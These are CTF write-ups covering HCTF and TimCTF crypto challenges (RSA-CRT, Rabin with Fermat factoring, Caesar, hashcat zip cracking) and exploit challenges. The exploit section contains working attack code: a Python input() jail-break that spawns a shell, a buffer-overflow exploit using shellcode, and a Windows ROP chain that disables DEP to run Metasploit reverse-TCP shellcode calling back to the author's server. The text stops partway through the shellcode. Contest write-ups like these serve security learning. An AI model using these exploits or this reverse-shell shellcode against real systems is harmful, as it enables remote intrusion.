c3 = 31438313874268746538209435813008423411657145512975475419766196892386179436013493127502413961298066715514288544164984428909735361469851593467279236104771200982976742894944365211194682572655588971675048664511251481051012641459370727389264675511908790088593553823687386299715190450157524259663191587745887609953
'''

중국인의 나머지 정리(CRT; Chinese Remainder Theorem)를 이용해서 계산해주면 된다. 구글링하면 잘 나온다.

import gmpy

e = 3
n1 = 51288326117082216488243544411546341945726200457761206644453923648745691133003298888640252920064366336153188590374906234193582318331511534150725498901204272996547758897280686510115493963949922521015212579960046142009026018249435094931175160476695080910770853450088955925931824360889598897960812196501910310971
c1 = 28664547940927727470345840711427399029606901366945466558505886421148178887598108954927053378246067525782321635926368688599601177978705377673276761471247346043054112813201264689017682322288369008503806688587531250974252044496239856005783248513792583183221373808082430000175628167523517126596009125614278899401
n2 = 29457686135991278975006812334310920356301816375997022543935792333970703696552526067677471770683579031803067927853925309291329810629595674400216862296288264098946332200460602662886636986347872294111648892796874085016119364078711660172342567556983822990434691459944961479240777022275803977723283229813386301943
c2 = 17077337519494000172836363832449617495753905384402839209756596335776673357613519709505681025778010115408943551044640911776511058812367697112179693767591405425645379539292855458605246761273813881282099739714024726610417325149805228045155772866483083186845303214010795924962676589099791252639040456901677120150
n3 = 72570233407274155209010922487345535784018612312055202392917019376429008866027961487578709415248191493186061903205333749093176280354945073304299285338734712471052411177028661616522150737451099384372788193639240627293146026956125655121241407595730843161959206866826957178300347986554615242213197995238377803371
c3 = 31438313874268746538209435813008423411657145512975475419766196892386179436013493127502413961298066715514288544164984428909735361469851593467279236104771200982976742894944365211194682572655588971675048664511251481051012641459370727389264675511908790088593553823687386299715190450157524259663191587745887609953

N = n1*n2*n3
N1 = N/n1
N2 = N/n2
N3 = N/n3
u1 = gmpy.invert(N1, n1)
u2 = gmpy.invert(N2, n2)
u3 = gmpy.invert(N3, n3)
M = (c1*u1*N1 + c2*u2*N2 + c3*u3*N3) % N
m = gmpy.root(M,e)[0]

print hex(m)[2:].rstrip("L").decode("hex")

FLAG : HCTF{RSA_and_CRT_are_Very_VerY_vErY_EEEEEEasy_Hey_Fancy_You!}

Hard Crypto

Rabin 이라고 힌트를 준다.

#!/usr/bin/env sage
from Crypto.Util.number import bytes_to_long
from flag import *

p = random_prime(2 ** 512)
q = next_prime(p)
while( (p % 4 != 3) or (q % 4 != 3)):
  p = random_prime(2 ** 512)
  q = next_prime(p)

n = p*q
enc = pow(bytes_to_long(flag), 2, n)

'''
enc = 73542412655098595288523283051922726948987836481512888688568370390089349895674742919054617819207531547203412993390163795469943072671517862652306841750777311090535745024110632538861884544050117040995590340090004011600842361133477565295421449374080806791669255711773865469446783482295684422403941521840992615081
n = 125113791375781590742588776384677849561763911403969678239226246595208477077387851718287113847876756637358464629111609713250406518161996535302555017864010967277368946077999313697436340679738805691707848811752315811099645670395554902117468738736773802070224145546690124014135268318947603905589466494462919823377
'''

Fermat factorization 페르마소수를 이용해서 n을 소인수분해해서 p,q를 구해주면 된다.

#from Crypto.Util.number import long_to_bytes
# -*-coding:utf-8 -*-
from gmpy2 import *

def fermat_factor(n):
    assert n % 2 != 0

    a = isqrt(n)
    b2 = square(a) - n

    while not is_square(b2):
        a += 1
        b2 = square(a) - n
    p = a + isqrt(b2)
    q = a - isqrt(b2)

    return int(p), int(q)

n = 125113791375781590742588776384677849561763911403969678239226246595208477077387851718287113847876756637358464629111609713250406518161996535302555017864010967277368946077999313697436340679738805691707848811752315811099645670395554902117468738736773802070224145546690124014135268318947603905589466494462919823377
p, q = fermat_factor(n)
print("p :" + str(p))
print("q :" + str(q))
print("p/q :" +str(p/float(q)))

c = 73542412655098595288523283051922726948987836481512888688568370390089349895674742919054617819207531547203412993390163795469943072671517862652306841750777311090535745024110632538861884544050117040995590340090004011600842361133477565295421449374080806791669255711773865469446783482295684422403941521840992615081
n = p*q 
ma = []

mp = pow(c,(p+1)//4,p)
mq = pow(c,(q+1)//4,q)
yp = invert(p,q)
yq = invert(q,p)

ma.append((yq*q*mp + yp*p*mq) % n)
ma.append((yq*q*mp - yp*p*mq) % n)
ma.append((-yq*q*mp + yp*p*mq) % n)
ma.append((-yq*q*mp - yp*p*mq) % n)

for m in ma:
    m = hex(m)[2:]
    if (len(m) %2 !=0 ):
        m = '0' + m
    print "M = " + m.decode("hex")

FLAG : HCTF{Rabin_Crypto_Algorithm_is_So_Beautiful_And_This_Problem_Requires_A_Really_Long_Flag_Length}

Team : Complex

Rank : 7

Country : Republic of Korea

Points : 4,426

Crypto

Baby Crypto (50pts)

This file seems… odd

In the name of the problem, I thought it was a Caesar cipher.

So I use Caesar decoder site. ( https://cryptii.com/ )

Shift by 8 to get the flag.

Otil bw amm gwc uilm qb! Emtkwum bw bpm ewvlmznct ewztl wn kzgxbwozixpg! Pmzm qa gwcz zmeizl: BQUKBN{Rctqca_Kimaiz_e0ctl_j3_xzwcl}

=> Glad to see you made it! Welcome to the wonderful world of cryptography! Here is your reward: TIMCTF{Julius_Caesar_w0uld_b3_proud}

FLAG : TIMCTF{Julius_Caesar_w0uld_b3_proud}


Proof of work (100pts)

While developing an anti-bot system we thought of a system to test if the users are indeed human. You need to enter a string whose SHA256 has the last 7 digits 0. As this hash is secure you need to use some processing power, thus denying spam. Sort of like mining bitcoin.

nc 89.38.208.143 21021

just bruteforce attack and find sha256 end of 0000000

import hashlib
import re

import string
ALLOWED_CHARACTERS = string.printable
NUMBER_OF_CHARACTERS = len(ALLOWED_CHARACTERS)

def characterToIndex(char):
    return ALLOWED_CHARACTERS.index(char)

def indexToCharacter(index):
    if NUMBER_OF_CHARACTERS <= index:
        raise ValueError("Index out of range.")
    else:
        return ALLOWED_CHARACTERS[index]

def next(string):
    if len(string) <= 0:
        string.append(indexToCharacter(0))
    else:
        string[0] = indexToCharacter((characterToIndex(string[0]) + 1) % NUMBER_OF_CHARACTERS)
        if characterToIndex(string[0]) is 0:
            return list(string[0]) + next(string[1:])
    return string

def main():
    sequence = list()
    while True:
        sequence = next(sequence)
        tmp = ''.join(i for i in sequence)
        m = hashlib.sha256()
    	m.update(tmp)
    	md5string=m.hexdigest()
        print md5string
        if md5string[57:] == '0000000':
            print md5string + " : " + tmp
            exit(0)

if __name__ == "__main__":
    main()

after connecting to the nc server, enter S@"m4 to get the flag.

FLAG : IMCTF{9e13449f334ded947431aa5001c2e9ab429ab5ddf880f416fe352a96eb2af122}


Alien Alphabet (150pts)

I found this strange text. It is written in some strange alphabet. Can you decode it?

i found this cipher is TEMPHIS .

I translated the last line and found a flag.

FLAG : TIMCTF{TEMPHIS_IS_AWESOME}


Password breaker (150pts)

I heard you were good at cracking passwords!

Hint! What are the most common attacks on a password? Dictionary and bruteforce

Hint! If it takes more than a few minutes you’re doing it wrong.

So I thought I had to solve the problem with a dictionary attack and brute force.

I used https://github.com/brannondorsey/naive-hashcat/releases/download/data/rockyou.txt ( rockyou.txt ) for dictionary attack.

And I used zip2john and hashcat.

First, I find zip file’s hash.

juntae@ubuntu:~/JohnTheRipper/run$ ./zip2john flag.zip 
flag.zip/stage2.zip:$zip2$*0*3*0*9ac9ce6ee278a40d4cf411eaa648131b*fd6b*b2*78cef498d2a837ebd25d26208209f19952c77ab4c21f0d68c2fca0f766bf59341fc96a1d7939008fe56bf8668337f7916baa22389b0fc27e2cb0047c3ff05e2dde94c33fde57190fe478b52636464bf8ee32fc36860270f1b8a921236b2b46ac16f813e77992ce3344906f9da2647a1fd15cce19f70cc9b1346e300adde56b0e31508793d9dea93140262dae208c88f536a93511f4bafd3b5ccc90543f7e0c2820902e7c4499c9330ab00dcf3e0b4b8535fa*c57c8b72e78f366e2d87*$/zip2$:stage2.zip:flag.zip:flag.zip

And make hash.txt

$zip2$*0*3*0*9ac9ce6ee278a40d4cf411eaa648131b*fd6b*b2*78cef498d2a837ebd25d26208209f19952c77ab4c21f0d68c2fca0f766bf59341fc96a1d7939008fe56bf8668337f7916baa22389b0fc27e2cb0047c3ff05e2dde94c33fde57190fe478b52636464bf8ee32fc36860270f1b8a921236b2b46ac16f813e77992ce3344906f9da2647a1fd15cce19f70cc9b1346e300adde56b0e31508793d9dea93140262dae208c88f536a93511f4bafd3b5ccc90543f7e0c2820902e7c4499c9330ab00dcf3e0b4b8535fa*c57c8b72e78f366e2d87*$/zip2$

Finally, use hashcat.

I can get zip file’s password.

Microsoft Windows [Version 10.0.17763.737]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Users\aaa\Desktop\hashcat-5.1.0\hashcat-5.1.0>hashcat64.exe -m 13600 flag_hash.txt rockyou.txt
hashcat (v5.1.0) starting...

* Device #1: WARNING! Kernel exec timeout is not disabled.
             This may cause "CL_OUT_OF_RESOURCES" or related errors.
             To disable the timeout, see: https://hashcat.net/q/timeoutpatch
OpenCL Platform #1: NVIDIA Corporation
======================================
* Device #1: GeForce GTX 960, 512/2048 MB allocatable, 8MCU

Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Applicable optimizers:
* Zero-Byte
* Single-Hash
* Single-Salt
* Slow-Hash-SIMD-LOOP

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256

Watchdog: Temperature abort trigger set to 90c

Dictionary cache built:
* Filename..: rockyou.txt
* Passwords.: 14344391
* Bytes.....: 139921497
* Keyspace..: 14344384
* Runtime...: 1 sec

$zip2$*0*3*0*9ac9ce6ee278a40d4cf411eaa648131b*fd6b*0*78cef498d2a837ebd25d26208209f19952c77ab4c21f0d68c2fca0f766bf59341fc96a1d7939008fe56bf8668337f7916baa22389b0fc27e2cb0047c3ff05e2dde94c33fde57190fe478b52636464bf8ee32fc36860270f1b8a921236b2b46ac16f813e77992ce3344906f9da2647a1fd15cce19f70cc9b1346e300adde56b0e31508793d9dea93140262dae208c88f536a93511f4bafd3b5ccc90543f7e0c2820902e7c4499c9330ab00dcf3e0b4b8535fa*c57c8b72e78f366e2d87*$/zip2$:johncena1234

Session..........: hashcat
Status...........: Cracked
Hash.Type........: WinZip
Hash.Target......: $zip2$*0*3*0*9ac9ce6ee278a40d4cf411eaa648131b*fd6b*.../zip2$
Time.Started.....: Wed Sep 18 23:17:18 2019 (4 secs)
Time.Estimated...: Wed Sep 18 23:17:22 2019 (0 secs)
Guess.Base.......: File (rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:   266.9 kH/s (5.84ms) @ Accel:64 Loops:62 Thr:64 Vec:1
Recovered........: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts
Progress.........: 917504/14344384 (6.40%)
Rejected.........: 0/917504 (0.00%)
Restore.Point....: 884736/14344384 (6.17%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:992-999
Candidates.#1....: lennylove -> jam16
Hardware.Mon.#1..: Temp: 54c Fan: 30% Util: 76% Core:1468MHz Mem:3004MHz Bus:16

Started: Wed Sep 18 23:17:15 2019
Stopped: Wed Sep 18 23:17:24 2019

C:\Users\aaa\Desktop\hashcat-5.1.0\hashcat-5.1.0>

first password is johncena1234.

The password for stage2 can also be found in the same way.

Here, brute force is used.

juntae@ubuntu:~/JohnTheRipper/run$ ./zip2john stage2.zip 
stage2.zip/flag.txt:$zip2$*0*3*0*91f5b5c56b6f9aa71f0197c3f93e42c1*a1f8*21*1e7161f9e69797bd2fd8807cf7322289965fc39ea99ad05bab85343f58b802183a*d2163b2e7e4d1d7d89c2*$/zip2$:flag.txt:stage2.zip:stage2.zip

Finally, Brute force it!

C:\Users\aaa\Desktop\hashcat-5.1.0\hashcat-5.1.0>hashcat64.exe -m 13600 -a 3 stage2_hash.txt a?a?a?a?
hashcat (v5.1.0) starting...

* Device #1: WARNING! Kernel exec timeout is not disabled.
             This may cause "CL_OUT_OF_RESOURCES" or related errors.
             To disable the timeout, see: https://hashcat.net/q/timeoutpatch
OpenCL Platform #1: NVIDIA Corporation
======================================
* Device #1: GeForce GTX 960, 512/2048 MB allocatable, 8MCU

INFO: All hashes found in potfile! Use --show to display them.

Started: Wed Sep 18 23:46:31 2019
Stopped: Wed Sep 18 23:46:31 2019

C:\Users\aaa\Desktop\hashcat-5.1.0\hashcat-5.1.0>hashcat64.exe -m 13600 -a 3 stage2_hash.txt a?a?a?a? --show
$zip2$*0*3*0*91f5b5c56b6f9aa71f0197c3f93e42c1*a1f8*21*1e7161f9e69797bd2fd8807cf7322289965fc39ea99ad05bab85343f58b802183a*d2163b2e7e4d1d7d89c2*$/zip2$:bo$$

C:\Users\aaa\Desktop\hashcat-5.1.0\hashcat-5.1.0>

Last password is bo$$.

FLAG : TIMCTF{12345_is_A_bad_passw0rd}


TimCTF gamblig service (200pts)

Predict the next number to win. Are you that lucky?

nc 89.38.208.143 21023

  • First I thought Mersenne Twister
  • But It wasn’t
  • I just guess Unixtime and that’s right
from pwn import *
from ctypes import *
c = CDLL("/lib/x86_64-linux-gnu/libc.so.6")

p = remote("89.38.208.143",21023)
c.srand(c.time(0)) 
for i in range(10):
	p.recvuntil("choice: ")
	p.sendline("1")
	x = int(p.recvline())
	print i+1," : Predict=",c.rand()," : Recved=",
	print x
p.recvuntil("choice: ")
p.sendline("2")
p.recvuntil("guess: ")
p.sendline(str(c.rand()))
p.interactive()
  • I failed few times, but finally Succeed.
circler@Circler:/mnt/c/Users/Circler/Documents/ctf/timisoara/crypto$ python ctype.py
[+] Opening connection to 89.38.208.143 on port 21023: Done
1  : Predict= 1085972033  : Recved= 1085972033
2  : Predict= 1086492775  : Recved= 1086492775
3  : Predict= 199921567  : Recved= 199921567
4  : Predict= 1854423452  : Recved= 1854423452
5  : Predict= 637623845  : Recved= 637623845
6  : Predict= 1180811229  : Recved= 1180811229
7  : Predict= 1322382820  : Recved= 1322382820
8  : Predict= 297329854  : Recved= 297329854
9  : Predict= 1637532318  : Recved= 1637532318
10  : Predict= 1132466532  : Recved= 1132466532
[*] Switching to interactive mode
Congratulations! Here is your reward: TIMCTF{Now_You_c4N_ch3at_aT_pacanele}
[*] Got EOF while reading in interactive

FLAG : TIMCTF{Now_You_c4N_ch3at_aT_pacanele}


Strange cipher (250pts)

I have found this strange encryption service. Can you decode it?

nc 89.38.208.143 21022

from pwn import *
import string
p = remote('89.38.208.143',21022)
p.recvuntil('flag: ')
enc = p.recvline()
enc = enc.split(' ')
del enc[-1]
print enc
table = string.printable
payload = ''
attempt = 254
for i in range(8):
    for j in table:
        p.sendlineafter('remaining: ',payload + j)
        p.recvuntil('Encrypted string: ')
        go = p.recvline().split()
        if enc[i] == go[i]:
            payload += j
            print "[*] payload = " + payload
            break
        print 'try -> ' + str(attempt) + " : " + j
        attempt -= 1
p.interactive()

brute force attack and make table

FLAG : TIMCTF{Y0u_really_make_A_diff3rence}


Exploit

Hiss hiss python (50pts)

This snake likes to h1ss at its input.

nc 89.38.208.144 11113

Hint! What is wrong with python input function?

import sys
print ("Hello user! I will give you a test. If you pass it, you get the flag\n")
print ("What is 2 + 3? ")
sys.stdout.flush()
x = input()

if (x == 5):
    print("Eh, I was just kidding. No flag for you")
else:
    print("Try again!")

Python input function has vulnerability.

If I use this vulnerability, I can execute any command.

This is easy python-jail-break problem, no filtering.

So, I can find python-jail-cheatsheet in google, and I use it.

Exploit

from pwn import *

#context.log_level = "debug"
r = remote("89.38.208.144", 11113)
command = "__import__('subpro'+'cess').call(['/bin/sh', '-s'])"
r.sendlineafter("? \n",command)
r.interactive()

FLAG : TIMCTF{h1ss_h1ss_shell}


Swag (100pts)

The server only lets hackers in, not script kiddies.

nc 89.38.208.144 11111

First, I see swag.cpp

#include <stdio.h>
#include <time.h>
#include <stdlib.h>

using namespace std;

int global_cookie;
int main()
{
	char name[64];
	int cookie;
	int a;
	srand(time(0));
	cookie = rand();
	global_cookie = cookie;
	a = 2;
	printf("Enter your name: ");
	fflush(stdout);
	gets(name);
	printf("Hello, %s", name);

	if((cookie != global_cookie) || (a != 1))
	{
		printf(", it appears you don't have enough swag\n");
		exit(0);
	}
	printf(", I really like your swag. Come in!\n");
	return 0;
}

and, I open swag binary with IDA pro.

int __cdecl main(int argc, const char **argv, const char **envp)
{
  unsigned int v3; // eax
  char v5; // [rsp+0h] [rbp-50h]
  int v6; // [rsp+48h] [rbp-8h]
  int v7; // [rsp+4Ch] [rbp-4h]

  v3 = time(0LL);
  srand(v3);
  v7 = rand();
  global_cookie = v7;
  v6 = 2;
  printf("Enter your name: ", argv);
  fflush(_bss_start);
  gets(&v5);
  printf("Hello, %s", &v5);
  if ( v7 != global_cookie || v6 != 1 )
  {
    puts(", it appears you don't have enough swag");
    exit(0);
  }
  puts(", I really like your swag. Come in!");
  puts("Your access code is: TIMCTF{1_am_th3_c00kie_m0nsta}");
  return 0;
}

FLAG : TIMCTF{1_am_th3_c00kie_m0nsta}


Bof-server (100pts)

Today kids we learn how to write exploits for super-secure software: bof-server!

nc 89.38.208.144 11112

(non-standard flag format)

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char v4; // [rsp+0h] [rbp-100h]

  printf("Hello! Here is the stack address: %llx, enter your name please: ", &v4, envp);
  fflush(_bss_start);
  gets(&v4);
  printf("Nice to meet you, %s!\n", &v4);
  return 0;
}

This binary use gets(), we can catch RIP.

And, problem gives me stack address.

Finally, NX bit is disabled.

juntae@ubuntu:~/ctf/timisoara/pwn/bof-server$ checksec bof-server
[*] '/home/juntae/ctf/timisoara/pwn/bof-server/bof-server'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments

This is mitigation of problem.

Exploit

As explained earlier, I can use shellcode.

So, I build shellcode in stack and make RIP stack address.

from pwn import *

context.arch = "amd64"
#context.log_level = "debug"

#r = remote("89.38.208.144",11112)
r = process("./bof-server")
e = ELF("./bof-server")
libc = e.libc

r.recvuntil(": ")
stack = int(r.recv(12),16)
log.info("stack : " + hex(stack))

shellcode = shellcraft.sh()

payload = asm(shellcode) 
payload = payload.ljust(0x108,"\x00")
payload += p64(stack)
r.sendlineafter("please: ",payload)

r.interactive()

FLAG : TIMCTF{oooverfl0w}wwwWWW


Rop Me Baby (200pts)

Can you still pull out a buffer overflow attack if the stack is non-executable? Let’s find out:

nc 89.38.208.147 2025

Note: as socat is not working in windows for some reason there is only one instance of this running at a time. Please make sure you disconnect properly. We will add more ports asap.

.text:000000000040159A ; __unwind { // sub_4ADA90
.text:000000000040159A                 push    rbp
.text:000000000040159B                 push    rbx
.text:000000000040159C                 mov     eax, 13D8h
.text:00000000004015A1                 call    sub_40C5F0
.text:00000000004015A6                 sub     rsp, rax
.text:00000000004015A9                 lea     rbp, [rsp+80h]
.text:00000000004015B1                 call    sub_40B220
.text:00000000004015B6                 lea     rax, [rbp+1360h+WSAData]
.text:00000000004015BD                 mov     rdx, rax        ; lpWSAData
.text:00000000004015C0                 mov     ecx, 202h       ; wVersionRequested
.text:00000000004015C5                 mov     rax, cs:WSAStartup
.text:00000000004015CC                 call    rax ; WSAStartup
.text:00000000004015CE                 mov     r8d, 6          ; protocol
.text:00000000004015D4                 mov     edx, 1          ; type
.text:00000000004015D9                 mov     ecx, 2          ; af
.text:00000000004015DE                 mov     rax, cs:socket
.text:00000000004015E5                 call    rax ; socket
.text:00000000004015E7                 mov     [rbp+1360h+s], rax
.text:00000000004015EE                 mov     [rbp+1360h+name.sa_family], 2
.text:00000000004015F7                 mov     dword ptr [rbp+1360h+name.sa_data+2], 0
.text:0000000000401601                 mov     ecx, 2025       ; hostshort
.text:0000000000401606                 mov     rax, cs:htons
.text:000000000040160D                 call    rax ; htons
.text:000000000040160F                 mov     word ptr [rbp+1360h+name.sa_data], ax
.text:0000000000401616                 lea     rax, [rbp+1360h+name]
.text:000000000040161D                 mov     rcx, [rbp+1360h+s] ; s
.text:0000000000401624                 mov     r8d, 10h        ; namelen
.text:000000000040162A                 mov     rdx, rax        ; name
.text:000000000040162D                 mov     rax, cs:bind
.text:0000000000401634                 call    rax ; bind
.text:0000000000401636                 cmp     eax, 0FFFFFFFFh
.text:0000000000401639                 setz    al
.text:000000000040163C                 test    al, al
.text:000000000040163E                 jz      short loc_401666
.text:0000000000401640                 lea     rdx, aUnableToBindSo ; "Unable to bind socket!\r\n"
.text:0000000000401647                 mov     rcx, cs:off_4B6FB0
.text:000000000040164E                 call    sub_4A9FC0
.text:0000000000401653                 mov     rax, cs:WSACleanup
.text:000000000040165A                 call    rax ; WSACleanup
.text:000000000040165C                 mov     ebx, 0
.text:0000000000401661                 jmp     loc_401955

First, open socket and port 2025.

So, I think rop_me_baby.exe is server

.text:0000000000401666 loc_401666:                             ; CODE XREF: sub_40159A+A4↑j
.text:0000000000401666                 mov     rax, [rbp+1360h+s]
.text:000000000040166D                 mov     edx, 14h        ; backlog
.text:0000000000401672                 mov     rcx, rax        ; s
.text:0000000000401675                 mov     rax, cs:listen
.text:000000000040167C                 call    rax ; listen
.text:000000000040167E                 lea     rdx, aWaitingForClie ; "Waiting for clients: "
.text:0000000000401685                 mov     rcx, cs:off_4B6FB0
.text:000000000040168C                 call    sub_4A9FC0

Second, start listen and waiting client.

.text:0000000000401807                 mov     rdx, rax        ; buf
.text:000000000040180A                 mov     rax, [rbp+1360h+var_18]
.text:0000000000401811                 mov     r9d, 0          ; flags
.text:0000000000401817                 mov     r8d, ebx        ; len
.text:000000000040181A                 mov     rcx, rax        ; s
.text:000000000040181D                 mov     rax, cs:send
.text:0000000000401824                 call    rax ; send
.text:0000000000401826                 lea     rax, [rbp+1360h+var_60]
.text:000000000040182D                 mov     rcx, rax
.text:0000000000401830                 call    sub_48FBF0
.text:0000000000401835                 lea     rax, [rbp+1360h+var_80]
.text:000000000040183C                 mov     rcx, rax
.text:000000000040183F                 call    sub_48FBF0
.text:0000000000401844                 mov     rax, [rbp+1360h+var_18]
.text:000000000040184B                 mov     r9d, 0          ; flags
.text:0000000000401851                 mov     r8d, 1000h      ; len
.text:0000000000401857                 lea     rdx, buf        ; buf
.text:000000000040185E                 mov     rcx, rax        ; s
.text:0000000000401861                 mov     rax, cs:recv
.text:0000000000401868                 call    rax ; recv
.text:000000000040186A                 mov     [rbp+1360h+var_34], eax
.text:0000000000401870                 mov     eax, [rbp+1360h+var_34]
.text:0000000000401876                 mov     edx, eax
.text:0000000000401878                 lea     rcx, buf
.text:000000000040187F                 call    sub_401550
.text:0000000000401884                 lea     rdx, aReceived  ; "Received: "
.text:000000000040188B                 mov     rcx, cs:off_4B6FB0
.text:0000000000401892                 call    sub_4A9FC0

Third, server wait payload.

The place to enter payload is BSS section.

This part causes the vulnerability. Because the length limit is not appropriate.

So, I can catch RIP .

Exploit

I used reverse connection Because it is communication between server and client.

This .exe has DEP protection.

So we have to bypass DEP with windows ROP.

The payload scenario is shown below.

0. Prepare a server for reverse connection.
1. Set register. ( RCX,RDX,R8,R9 )
2. Call VirtualProtect. ( This function can turn off DEP. )
	- VirtualProtect in kernel32.dll
	- problem give kernel32.dll's base address
	- We can use kernel32's function!
3. build NOP sled + window reverse shellcode.
4. Change the RIP to the position where the nop sled is located.
5. The shell is connected to the my server.

Gadgets were extracted from the rop_me_baby.exe binary using rp++.

My gadget is here.

pop_rbx = 0x00401D52 # pop rbx ; ret ;

pop_rcx = 0x0040c620 # pop rcx ; ret ;
pop_rdx = 0x00401095 # pop rdx ; xor eax, eax ; add rsp, 0x28 ; ret ;
pop_r8  = 0x004960b3 # pop r8 ; add rsp, 0x28 ; pop rbx ; pop rsi ; ret;
pop_r9  = 0x004a4a14 # pop r9 ; mov byte [rbx+0x000000E1], 0x00000001 ; mov byte [rbx+0x000000E0], sil ; add rsp, 0x20 ; pop rbx ; pop rsi ; pop rdi ; ret ;
log.info("pop_rcx : " + hex(pop_rcx))
log.info("pop_rdx : " + hex(pop_rdx))
log.info("pop_r8  : " + hex(pop_r8))
log.info("pop_r9  : " + hex(pop_r9))

The shellcode came from the metasploit with the windows x64 tcp reverse conection.

My shellcode is here.

shellcode = ""
shellcode += "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50" 
shellcode += "\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52" 
shellcode += "\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a" 
shellcode += "\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41" 
shellcode += "\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52" 
shellcode += "\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48" 
shellcode += "\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40" 
shellcode += "\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48" 
shellcode += "\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41" 
shellcode += "\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1" 
shellcode += "\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c" 
shellcode += "\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01" 
shellcode += "\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a" 
shellcode += "\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b" 
shellcode += "\x12\xe9\x57\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33" 
shellcode += "\x32\x00\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00" 
shellcode += "\x00\x49\x89\xe5\x49\xbc\x02\x00\x2d\x5b\xd3\xef\x7c\xed"
shellcode += "\x41\x54\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07"
shellcode += "\xff\xd5\x4c\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29"
shellcode += "\x80\x6b\x00\xff\xd5\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48"
shellcode += "\xff\xc0\x48\x89\xc2\x48\xff\xc0\x48\x89\xc1\x41\xba\xea" 
shellcode += "\x0f\xdf\xe0\xff\xd5\x48\x89\xc7\x6a\x10\x41\x58\x4c\x89" 
shellcode += "\xe2\x48\x89\xf9\x41\xba\x99\xa5\x74\x61\xff\xd5\x48\x81" 
shellcode += "\xc4\x40\x02\x00\x00\x49\xb8\x63\x6d\x64\x00\x00\x00\x00" 
shellcode += "\x00\x41\x50\x41\x50\x48\x89\xe2\x57\x57\x57\x4d\x31\xc0" 
shellcode += "\x6a\x0d\x59\x41\x50\xe2\xfc\x66\xc7\x44\x24\x54\x01\x01" 
shellcode += "\x48\x8d\x44\x24\x18\xc6\x00\x68\x48\x89\xe6\x56\x50\x41" 
shellcode += "\x50\x41\x50\x41\x50\x49\xff\xc0\x41\x50\x49\xff\xc8\x4d" 
shellcode += "\x89\xc1\x4c\x89\xc1\x41\xba\x79\xcc\x3f\x86\xff\xd5\x48" 
shellcode += "\x31\xd2\x48\xff\xca\x8b\x0e\x41\xba\x08\x87\x1d\x60\xff" 
shellcode += "\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5" 
shellcode += "\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb" 
shellcode += "\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5"
# windows x64 reverse shell TCP

Finally, my full exploit code is here.

from pwn import *

#context.log_level = "debug"

r = remote("89.38.208.147",2025) #remote
#r = remote("192.168.2.234",2025) #local
r.recvuntil("Ntdll address is: ")
ntdll = int(r.recv(12),16)

r.recvuntil("kernel32 address is: ")
kernel32 = int(r.recv(12),16)

log.info("ntdll : " + hex(ntdll))
log.info("kernel32 : " + hex(kernel32))

protect = kernel32 + 0x14d0 #remote
#protect = kernel32 + 0x1acb0 #local

bss = 0x0000000004DE040
log.info("bss : " + hex(bss))

shellcode = ""
shellcode += "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50" 
shellcode += "\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52" 
shellcode += "\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a" 
shellcode += "\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41" 
shellcode += "\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52" 
shellcode += "\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48" 
shellcode += "\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40" 
shellcode += "\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48" 
shellcode += "\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41" 
shellcode += "\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1" 
shellcode += "\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c" 
shellcode += "\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01" 
shellcode += "\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a" 
shellcode += "\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b" 
